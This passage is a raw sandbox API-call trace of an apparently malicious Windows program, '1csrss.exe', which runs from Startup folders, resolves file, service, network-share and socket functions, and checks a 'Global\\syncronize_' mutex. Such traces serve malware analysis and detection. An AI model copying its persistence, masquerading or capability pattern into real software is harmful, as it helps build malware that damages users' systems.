hHeap=0x6e0000, dwFlags=0x0, lpMem=0x45fee88 | out: hHeap=0x6e0000) returned 1 [0295.553] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x45fee88 | out: hHeap=0x6e0000) returned 1 [0295.591] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x45fee88 | out: hHeap=0x6e0000) returned 1 [0295.683] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x45fee88 | out: hHeap=0x6e0000) returned 1 [0296.206] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x45fee88 | out: hHeap=0x6e0000) returned 1 [0296.390] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x45fee88 | out: hHeap=0x6e0000) returned 1 [0296.966] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x45fee88 | out: hHeap=0x6e0000) returned 1 [0297.179] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x45fee88 | out: hHeap=0x6e0000) returned 1 [0297.321] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x45fee88 | out: hHeap=0x6e0000) returned 1 [0297.451] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x45fee88 | out: hHeap=0x6e0000) returned 1 [0297.627] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x45fee88 | out: hHeap=0x6e0000) returned 1 [0298.232] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x45fee88 | out: hHeap=0x6e0000) returned 1 [0298.513] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x45fee88 | out: hHeap=0x6e0000) returned 1 [0298.618] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x45fee88 | out: hHeap=0x6e0000) returned 1 [0298.796] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x45fee88 | out: hHeap=0x6e0000) returned 1 [0299.108] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x45fee88 | out: hHeap=0x6e0000) returned 1 [0299.412] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x45fee88 | out: hHeap=0x6e0000) returned 1 [0299.455] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x45fee88 | out: hHeap=0x6e0000) returned 1 [0299.791] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x45fee88 | out: hHeap=0x6e0000) returned 1 [0299.956] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x45fee88 | out: hHeap=0x6e0000) returned 1 [0300.053] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x45fee88 | out: hHeap=0x6e0000) returned 1 [0300.053] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4554f98 | out: hHeap=0x6e0000) returned 1 [0300.054] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4544f90 | out: hHeap=0x6e0000) returned 1 [0300.170] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4544f90 | out: hHeap=0x6e0000) returned 1 [0300.341] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x45dee78 | out: hHeap=0x6e0000) returned 1 [0300.845] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x45dee78 | out: hHeap=0x6e0000) returned 1 [0301.328] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x45dee78 | out: hHeap=0x6e0000) returned 1 [0301.596] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x45dee78 | out: hHeap=0x6e0000) returned 1 [0301.749] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x45dee78 | out: hHeap=0x6e0000) returned 1 [0301.964] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x45dee78 | out: hHeap=0x6e0000) returned 1 [0302.234] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x45dee78 | out: hHeap=0x6e0000) returned 1 [0302.390] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x45dee78 | out: hHeap=0x6e0000) returned 1 [0302.391] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x45dee78 | out: hHeap=0x6e0000) returned 1 [0302.677] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x45dee78 | out: hHeap=0x6e0000) returned 1 [0302.953] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x45dee78 | out: hHeap=0x6e0000) returned 1 [0303.062] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x45dee78 | out: hHeap=0x6e0000) returned 1 [0303.351] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x45dee78 | out: hHeap=0x6e0000) returned 1 [0303.680] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x45dee78 | out: hHeap=0x6e0000) returned 1 [0303.958] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x45dee78 | out: hHeap=0x6e0000) returned 1 [0305.430] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x45dee78 | out: hHeap=0x6e0000) returned 1 [0305.818] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x45dee78 | out: hHeap=0x6e0000) returned 1 [0306.055] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x45dee78 | out: hHeap=0x6e0000) returned 1 [0306.246] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x45dee78 | out: hHeap=0x6e0000) returned 1 [0306.680] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x45dee78 | out: hHeap=0x6e0000) returned 1 [0306.947] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x45dee78 | out: hHeap=0x6e0000) returned 1 [0307.023] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x45dee78 | out: hHeap=0x6e0000) returned 1 [0307.135] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x45dee78 | out: hHeap=0x6e0000) returned 1 [0307.396] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x45dee78 | out: hHeap=0x6e0000) returned 1 [0307.551] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x45dee78 | out: hHeap=0x6e0000) returned 1 [0307.804] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x45dee78 | out: hHeap=0x6e0000) returned 1 [0308.065] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x45dee78 | out: hHeap=0x6e0000) returned 1 [0308.066] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x45dee78 | out: hHeap=0x6e0000) returned 1 [0308.399] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x461ffe8, Size=0x80000) returned 0x52be020 [0308.411] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x45dee78 | out: hHeap=0x6e0000) returned 1 [0308.786] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x45dee78 | out: hHeap=0x6e0000) returned 1 [0309.009] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x45dee78 | out: hHeap=0x6e0000) returned 1 [0312.433] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x45dee78 | out: hHeap=0x6e0000) returned 1 [0312.721] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x45dee78 | out: hHeap=0x6e0000) returned 1 [0312.757] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x45dee78 | out: hHeap=0x6e0000) returned 1 [0313.930] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x45dee78 | out: hHeap=0x6e0000) returned 1 [0314.147] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x45dee78 | out: hHeap=0x6e0000) returned 1 [0314.147] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x45dee78 | out: hHeap=0x6e0000) returned 1 [0314.496] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x45dee78 | out: hHeap=0x6e0000) returned 1 [0314.780] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x45dee78 | out: hHeap=0x6e0000) returned 1 [0315.038] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x45dee78 | out: hHeap=0x6e0000) returned 1 [0315.160] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x45dee78 | out: hHeap=0x6e0000) returned 1 [0315.557] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x45dee78 | out: hHeap=0x6e0000) returned 1 [0315.705] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x45dee78 | out: hHeap=0x6e0000) returned 1 [0315.860] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x45dee78 | out: hHeap=0x6e0000) returned 1 [0315.860] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4544f90 | out: hHeap=0x6e0000) returned 1 [0316.007] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x45dee78 | out: hHeap=0x6e0000) returned 1 [0316.100] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x45dee78 | out: hHeap=0x6e0000) returned 1 [0316.498] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x45dee78 | out: hHeap=0x6e0000) returned 1 [0316.529] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x45dee78 | out: hHeap=0x6e0000) returned 1 [0316.705] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x45dee78 | out: hHeap=0x6e0000) returned 1 [0316.990] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x45dee78 | out: hHeap=0x6e0000) returned 1 [0317.023] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x45dee78 | out: hHeap=0x6e0000) returned 1 [0317.245] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x45dee78 | out: hHeap=0x6e0000) returned 1 [0317.273] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x45dee78 | out: hHeap=0x6e0000) returned 1 [0317.356] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x45dee78 | out: hHeap=0x6e0000) returned 1 [0317.507] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x45dee78 | out: hHeap=0x6e0000) returned 1 [0318.120] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x45dee78 | out: hHeap=0x6e0000) returned 1 [0318.122] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4544f90 | out: hHeap=0x6e0000) returned 1 [0318.123] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4598fd8 | out: hHeap=0x6e0000) returned 1 [0318.552] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4520878 | out: hHeap=0x6e0000) returned 1 [0318.553] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x45cdea0 | out: hHeap=0x6e0000) returned 1 [0318.553] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4588fd0 | out: hHeap=0x6e0000) returned 1 [0318.554] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x3ed0940 | out: hHeap=0x6e0000) returned 1 [0318.555] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4500868 | out: hHeap=0x6e0000) returned 1 Thread: id = 65 os_tid = 0xf00 Thread: id = 68 os_tid = 0xf0c Thread: id = 69 os_tid = 0xf10 Thread: id = 70 os_tid = 0xf18 Thread: id = 71 os_tid = 0xf1c Thread: id = 72 os_tid = 0xf20 Process: id = "7" image_name = "1csrss.exe" filename = "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\1csrss.exe" page_root = "0x2b6bd000" os_pid = "0xda4" os_integrity_level = "0x2000" os_privileges = "0x40800000" monitor_reason = "autostart" parent_id = "0" os_parent_pid = "0x0" cmd_line = "\"C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\1csrss.exe\" " cur_dir = "C:\\WINDOWS\\system32\\" os_username = "NQDPDE\\FD1HVy" bitness = "32" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0001b334" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 35 os_tid = 0xda8 [0262.708] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x77740000 [0262.708] GetProcAddress (hModule=0x77740000, lpProcName="GetProcAddress") returned 0x777551b0 [0262.708] GetProcAddress (hModule=0x77740000, lpProcName="GetModuleHandleW") returned 0x777550d0 [0262.709] GetProcAddress (hModule=0x77740000, lpProcName="FindNextFileW") returned 0x777aee40 [0262.709] GetProcAddress (hModule=0x77740000, lpProcName="FindClose") returned 0x777aed70 [0262.709] GetProcAddress (hModule=0x77740000, lpProcName="MoveFileW") returned 0x7778e500 [0262.709] GetProcAddress (hModule=0x77740000, lpProcName="GetFileSizeEx") returned 0x777aef40 [0262.709] GetProcAddress (hModule=0x77740000, lpProcName="GetModuleFileNameW") returned 0x77755090 [0262.709] GetProcAddress (hModule=0x77740000, lpProcName="GetFileAttributesW") returned 0x777aef10 [0262.709] GetProcAddress (hModule=0x77740000, lpProcName="ExitProcess") returned 0x77753cb0 [0262.709] GetProcAddress (hModule=0x77740000, lpProcName="GetCommandLineW") returned 0x77754cc0 [0262.709] GetProcAddress (hModule=0x77740000, lpProcName="GetComputerNameW") returned 0x777832c0 [0262.709] GetProcAddress (hModule=0x77740000, lpProcName="GetComputerNameA") returned 0x77783780 [0262.709] GetProcAddress (hModule=0x77740000, lpProcName="CreateMutexW") returned 0x777aeb70 [0262.709] GetProcAddress (hModule=0x77740000, lpProcName="lstrlenW") returned 0x77756c70 [0262.709] GetProcAddress (hModule=0x77740000, lpProcName="lstrlenA") returned 0x77756c50 [0262.709] GetProcAddress (hModule=0x77740000, lpProcName="GetCurrentProcess") returned 0x777aea10 [0262.709] GetProcAddress (hModule=0x77740000, lpProcName="WaitForSingleObject") returned 0x777aeca0 [0262.709] GetProcAddress (hModule=0x77740000, lpProcName="GetLogicalDrives") returned 0x77750d20 [0262.709] GetProcAddress (hModule=0x77740000, lpProcName="GetTickCount") returned 0x777add50 [0262.709] GetProcAddress (hModule=0x77740000, lpProcName="DeleteFileW") returned 0x777aed40 [0262.709] GetProcAddress (hModule=0x77740000, lpProcName="WideCharToMultiByte") returned 0x77756b10 [0262.709] GetProcAddress (hModule=0x77740000, lpProcName="InitializeCriticalSectionAndSpinCount") returned 0x777aebb0 [0262.709] GetProcAddress (hModule=0x77740000, lpProcName="Sleep") returned 0x77756760 [0262.710] GetProcAddress (hModule=0x77740000, lpProcName="LeaveCriticalSection") returned 0x77cbb250 [0262.710] GetProcAddress (hModule=0x77740000, lpProcName="ReadFile") returned 0x777af090 [0262.710] GetProcAddress (hModule=0x77740000, lpProcName="CreateFileW") returned 0x777aed10 [0262.710] GetProcAddress (hModule=0x77740000, lpProcName="OpenMutexW") returned 0x777aebf0 [0262.710] GetProcAddress (hModule=0x77740000, lpProcName="EnterCriticalSection") returned 0x77cbb2d0 [0262.710] GetProcAddress (hModule=0x77740000, lpProcName="WaitForMultipleObjects") returned 0x777aec80 [0262.710] GetProcAddress (hModule=0x77740000, lpProcName="lstrcmpiW") returned 0x77756bf0 [0262.710] GetProcAddress (hModule=0x77740000, lpProcName="lstrcmpiA") returned 0x77756bd0 [0262.710] GetProcAddress (hModule=0x77740000, lpProcName="DeleteCriticalSection") returned 0x77c9fb90 [0262.710] GetProcAddress (hModule=0x77740000, lpProcName="ReleaseMutex") returned 0x777aec20 [0262.710] GetProcAddress (hModule=0x77740000, lpProcName="CloseHandle") returned 0x777aeab0 [0262.710] GetProcAddress (hModule=0x77740000, lpProcName="GetVersion") returned 0x777556c0 [0262.710] GetProcAddress (hModule=0x77740000, lpProcName="CreateThread") returned 0x777546b0 [0262.710] GetProcAddress (hModule=0x77740000, lpProcName="ExpandEnvironmentStringsW") returned 0x77754a40 [0262.710] GetProcAddress (hModule=0x77740000, lpProcName="QueryPerformanceCounter") returned 0x77755da0 [0262.710] GetProcAddress (hModule=0x77740000, lpProcName="QueryPerformanceFrequency") returned 0x77755dc0 [0262.710] GetProcAddress (hModule=0x77740000, lpProcName="GetCurrentProcessId") returned 0x777aea20 [0262.710] GetProcAddress (hModule=0x77740000, lpProcName="SetFileAttributesW") returned 0x777af100 [0262.710] GetProcAddress (hModule=0x77740000, lpProcName="GetVolumeInformationW") returned 0x777af020 [0262.710] GetProcAddress (hModule=0x77740000, lpProcName="WriteFile") returned 0x777af180 [0262.711] GetProcAddress (hModule=0x77740000, lpProcName="SetFilePointerEx") returned 0x777af130 [0262.711] GetProcAddress (hModule=0x77740000, lpProcName="SetEndOfFile") returned 0x777af0e0 [0262.711] GetProcAddress (hModule=0x77740000, lpProcName="FindFirstFileW") returned 0x777aedf0 [0262.711] GetProcAddress (hModule=0x77740000, lpProcName="GetProcessHeap") returned 0x777551f0 [0262.711] GetProcAddress (hModule=0x77740000, lpProcName="HeapReAlloc") returned 0x77caf630 [0262.711] GetProcAddress (hModule=0x77740000, lpProcName="HeapAlloc") returned 0x77cb2dc0 [0262.711] GetProcAddress (hModule=0x77740000, lpProcName="HeapFree") returned 0x777557f0 [0262.711] GetProcAddress (hModule=0x77740000, lpProcName="CreatePipe") returned 0x77754590 [0262.711] GetProcAddress (hModule=0x77740000, lpProcName="SetHandleInformation") returned 0x777aeae0 [0262.711] GetProcAddress (hModule=0x77740000, lpProcName="CreateProcessW") returned 0x77754610 [0262.711] GetProcAddress (hModule=0x77740000, lpProcName="CompareStringW") returned 0x77754430 [0262.711] GetProcAddress (hModule=0x77740000, lpProcName="CompareStringA") returned 0x77754410 [0262.711] GetProcAddress (hModule=0x77740000, lpProcName="OpenProcess") returned 0x77755cc0 [0262.711] GetProcAddress (hModule=0x77740000, lpProcName="TerminateProcess") returned 0x777567e0 [0262.711] GetProcAddress (hModule=0x77740000, lpProcName="GetSystemTime") returned 0x777554e0 [0262.711] GetProcAddress (hModule=0x77740000, lpProcName="SystemTimeToFileTime") returned 0x777567a0 [0262.711] GetProcAddress (hModule=0x77740000, lpProcName="GetLastError") returned 0x77755010 [0262.711] GetProcAddress (hModule=0x77740000, lpProcName="CreateToolhelp32Snapshot") returned 0x7778edc0 [0262.711] GetProcAddress (hModule=0x77740000, lpProcName="Process32NextW") returned 0x7778f8f0 [0262.711] GetProcAddress (hModule=0x77740000, lpProcName="Process32FirstW") returned 0x7778f750 [0262.711] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x773f0000 [0264.249] GetProcAddress (hModule=0x773f0000, lpProcName="RegOpenKeyExW") returned 0x7740e580 [0264.249] GetProcAddress (hModule=0x773f0000, lpProcName="RegQueryValueExW") returned 0x7740e5a0 [0264.249] GetProcAddress (hModule=0x773f0000, lpProcName="RegSetValueExW") returned 0x7740f530 [0264.249] GetProcAddress (hModule=0x773f0000, lpProcName="RegCloseKey") returned 0x7740ed60 [0264.249] GetProcAddress (hModule=0x773f0000, lpProcName="OpenProcessToken") returned 0x7740efb0 [0264.249] GetProcAddress (hModule=0x773f0000, lpProcName="GetTokenInformation") returned 0x7740ee90 [0264.249] GetProcAddress (hModule=0x773f0000, lpProcName="OpenSCManagerW") returned 0x77410540 [0264.249] GetProcAddress (hModule=0x773f0000, lpProcName="OpenServiceW") returned 0x7740fa20 [0264.249] GetProcAddress (hModule=0x773f0000, lpProcName="CloseServiceHandle") returned 0x7740fc00 [0264.249] GetProcAddress (hModule=0x773f0000, lpProcName="ControlService") returned 0x774226d0 [0264.249] GetProcAddress (hModule=0x773f0000, lpProcName="QueryServiceStatus") returned 0x77412380 [0264.249] GetProcAddress (hModule=0x773f0000, lpProcName="EnumDependentServicesW") returned 0x77422f70 [0264.250] GetProcAddress (hModule=0x773f0000, lpProcName="EnumServicesStatusExW") returned 0x7740fc80 [0264.250] LoadLibraryA (lpLibFileName="user32.dll") returned 0x76360000 [0265.167] GetProcAddress (hModule=0x76360000, lpProcName="SystemParametersInfoW") returned 0x7638f210 [0265.167] LoadLibraryA (lpLibFileName="Shell32.dll") returned 0x75010000 [0267.811] GetProcAddress (hModule=0x75010000, lpProcName="ShellExecuteExW") returned 0x75174730 [0267.811] LoadLibraryA (lpLibFileName="ntdll.dll") returned 0x77c70000 [0267.811] GetProcAddress (hModule=0x77c70000, lpProcName="NtQuerySystemInformation") returned 0x77ce2070 [0267.811] LoadLibraryA (lpLibFileName="mpr.dll") returned 0x74670000 [0267.853] GetProcAddress (hModule=0x74670000, lpProcName="WNetCloseEnum") returned 0x74672640 [0267.853] GetProcAddress (hModule=0x74670000, lpProcName="WNetOpenEnumW") returned 0x74672790 [0267.853] GetProcAddress (hModule=0x74670000, lpProcName="WNetEnumResourceW") returned 0x74672410 [0267.853] LoadLibraryA (lpLibFileName="ws2_32.dll") returned 0x77940000 [0267.926] GetProcAddress (hModule=0x77940000, lpProcName="WSAStartup") returned 0x77945b40 [0267.927] GetProcAddress (hModule=0x77940000, lpProcName="socket") returned 0x77954510 [0267.927] GetProcAddress (hModule=0x77940000, lpProcName="send") returned 0x77945030 [0267.928] GetProcAddress (hModule=0x77940000, lpProcName="recv") returned 0x77950c50 [0267.928] GetProcAddress (hModule=0x77940000, lpProcName="connect") returned 0x77945410 [0267.928] GetProcAddress (hModule=0x77940000, lpProcName="closesocket") returned 0x77950910 [0267.928] GetProcAddress (hModule=0x77940000, lpProcName="gethostbyname") returned 0x77976cb0 [0267.929] GetProcAddress (hModule=0x77940000, lpProcName="inet_addr") returned 0x77959160 [0267.929] GetProcAddress (hModule=0x77940000, lpProcName="ntohl") returned 0x779449d0 [0267.929] GetProcAddress (hModule=0x77940000, lpProcName="htonl") returned 0x779449d0 [0267.929] GetProcAddress (hModule=0x77940000, lpProcName="htons") returned 0x77958ff0 [0267.929] GetProcessHeap () returned 0x730000 [0267.929] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x20) returned 0x73b0b8 [0267.929] QueryPerformanceCounter (in: lpPerformanceCount=0x19fdb0 | out: lpPerformanceCount=0x19fdb0*=12619665687) returned 1 [0267.929] GetTickCount () returned 0x1eccc [0267.929] GetCurrentProcessId () returned 0xda4 [0267.931] GetTickCount () returned 0x1eccc [0267.931] GetTickCount () returned 0x1eccc [0267.931] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x20) returned 0x73b108 [0267.931] GetVersion () returned 0x23f00206 [0267.931] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x7) returned 0x747118 [0267.931] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x10) returned 0x747688 [0267.931] RtlReAllocateHeap (Heap=0x730000, Flags=0x0, Ptr=0x747688, Size=0x20) returned 0x73b130 [0267.931] RtlReAllocateHeap (Heap=0x730000, Flags=0x0, Ptr=0x73b130, Size=0x40) returned 0x74a158 [0267.931] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xfffe) returned 0x74e968 [0267.931] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\syncronize_AEDV8MA") returned 0x1ec [0267.931] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x747118 | out: hHeap=0x730000) returned 1 [0267.931] lstrlenW (lpString="Global\\syncronize_") returned 18 [0267.931] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x74a158 | out: hHeap=0x730000) returned 1 [0267.931] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x7) returned 0x747118 [0267.932] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x10) returned 0x747910 [0267.932] RtlReAllocateHeap (Heap=0x730000, Flags=0x0, Ptr=0x747910, Size=0x20) returned 0x73b130 [0267.932] RtlReAllocateHeap (Heap=0x730000, Flags=0x0, Ptr=0x73b130, Size=0x40) returned 0x74a428 [0267.932] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xfffe) returned 0x75e970 [0267.932] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\syncronize_AEDV8MU") returned 0x1f0 [0267.932] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x747118 | out: hHeap=0x730000) returned 1 [0267.932] lstrlenW (lpString="Global\\syncronize_") returned 18 [0267.932] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x74a428 | out: hHeap=0x730000) returned 1 [0267.932] GetVersion () returned 0x23f00206 [0267.932] GetCurrentProcess () returned 0xffffffff [0267.932] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x19fd9c | out: TokenHandle=0x19fd9c*=0x1f4) returned 1 [0267.932] GetTokenInformation (in: TokenHandle=0x1f4, TokenInformationClass=0x14, TokenInformation=0x19fd98, TokenInformationLength=0x4, ReturnLength=0x19fda4 | out: TokenInformation=0x19fd98, ReturnLength=0x19fda4) returned 1 [0267.932] CloseHandle (hObject=0x1f4) returned 1 [0267.932] WaitForSingleObject (hHandle=0x1f0, dwMilliseconds=0x0) returned 0x102 [0267.932] ExitProcess (uExitCode=0x0) Thread: id = 39 os_tid = 0xdfc Process: id = "8" image_name = "1csrss.exe" filename = "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\1csrss.exe" page_root = "0x2cc6d000" os_pid = "0xdbc" os_integrity_level = "0x2000" os_privileges = "0x40800000" monitor_reason = "autostart" parent_id = "0" os_parent_pid = "0x0" cmd_line = "\"C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\1csrss.exe\" " cur_dir = "C:\\WINDOWS\\system32\\" os_username = "NQDPDE\\FD1HVy" bitness = "32" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0001b334" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 36 os_tid = 0xdc0 [0262.724] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x77740000 [0262.724] GetProcAddress (hModule=0x77740000, lpProcName="GetProcAddress") returned 0x777551b0 [0262.724] GetProcAddress (hModule=0x77740000, lpProcName="GetModuleHandleW") returned 0x777550d0 [0262.724] GetProcAddress (hModule=0x77740000, lpProcName="FindNextFileW") returned 0x777aee40 [0262.724] GetProcAddress (hModule=0x77740000, lpProcName="FindClose") returned 0x777aed70 [0262.724] GetProcAddress (hModule=0x77740000, lpProcName="MoveFileW") returned 0x7778e500 [0262.724] GetProcAddress (hModule=0x77740000, lpProcName="GetFileSizeEx") returned 0x777aef40 [0262.724] GetProcAddress (hModule=0x77740000, lpProcName="GetModuleFileNameW") returned 0x77755090 [0262.724] GetProcAddress (hModule=0x77740000, lpProcName="GetFileAttributesW") returned 0x777aef10 [0262.724] GetProcAddress (hModule=0x77740000, lpProcName="ExitProcess") returned 0x77753cb0 [0262.724] GetProcAddress (hModule=0x77740000, lpProcName="GetCommandLineW") returned 0x77754cc0 [0262.724] GetProcAddress (hModule=0x77740000, lpProcName="GetComputerNameW") returned 0x777832c0 [0262.724] GetProcAddress (hModule=0x77740000, lpProcName="GetComputerNameA") returned 0x77783780 [0262.724] GetProcAddress (hModule=0x77740000, lpProcName="CreateMutexW") returned 0x777aeb70 [0262.724] GetProcAddress (hModule=0x77740000, lpProcName="lstrlenW") returned 0x77756c70 [0262.724] GetProcAddress (hModule=0x77740000, lpProcName="lstrlenA") returned 0x77756c50 [0262.725] GetProcAddress (hModule=0x77740000, lpProcName="GetCurrentProcess") returned 0x777aea10 [0262.725] GetProcAddress (hModule=0x77740000, lpProcName="WaitForSingleObject") returned 0x777aeca0 [0262.725] GetProcAddress (hModule=0x77740000, lpProcName="GetLogicalDrives") returned 0x77750d20 [0262.725] GetProcAddress (hModule=0x77740000, lpProcName="GetTickCount") returned 0x777add50 [0262.725] GetProcAddress (hModule=0x77740000, lpProcName="DeleteFileW") returned 0x777aed40 [0262.725] GetProcAddress (hModule=0x77740000, lpProcName="WideCharToMultiByte") returned 0x77756b10 [0262.725] GetProcAddress (hModule=0x77740000, lpProcName="InitializeCriticalSectionAndSpinCount") returned 0x777aebb0 [0262.725] GetProcAddress (hModule=0x77740000, 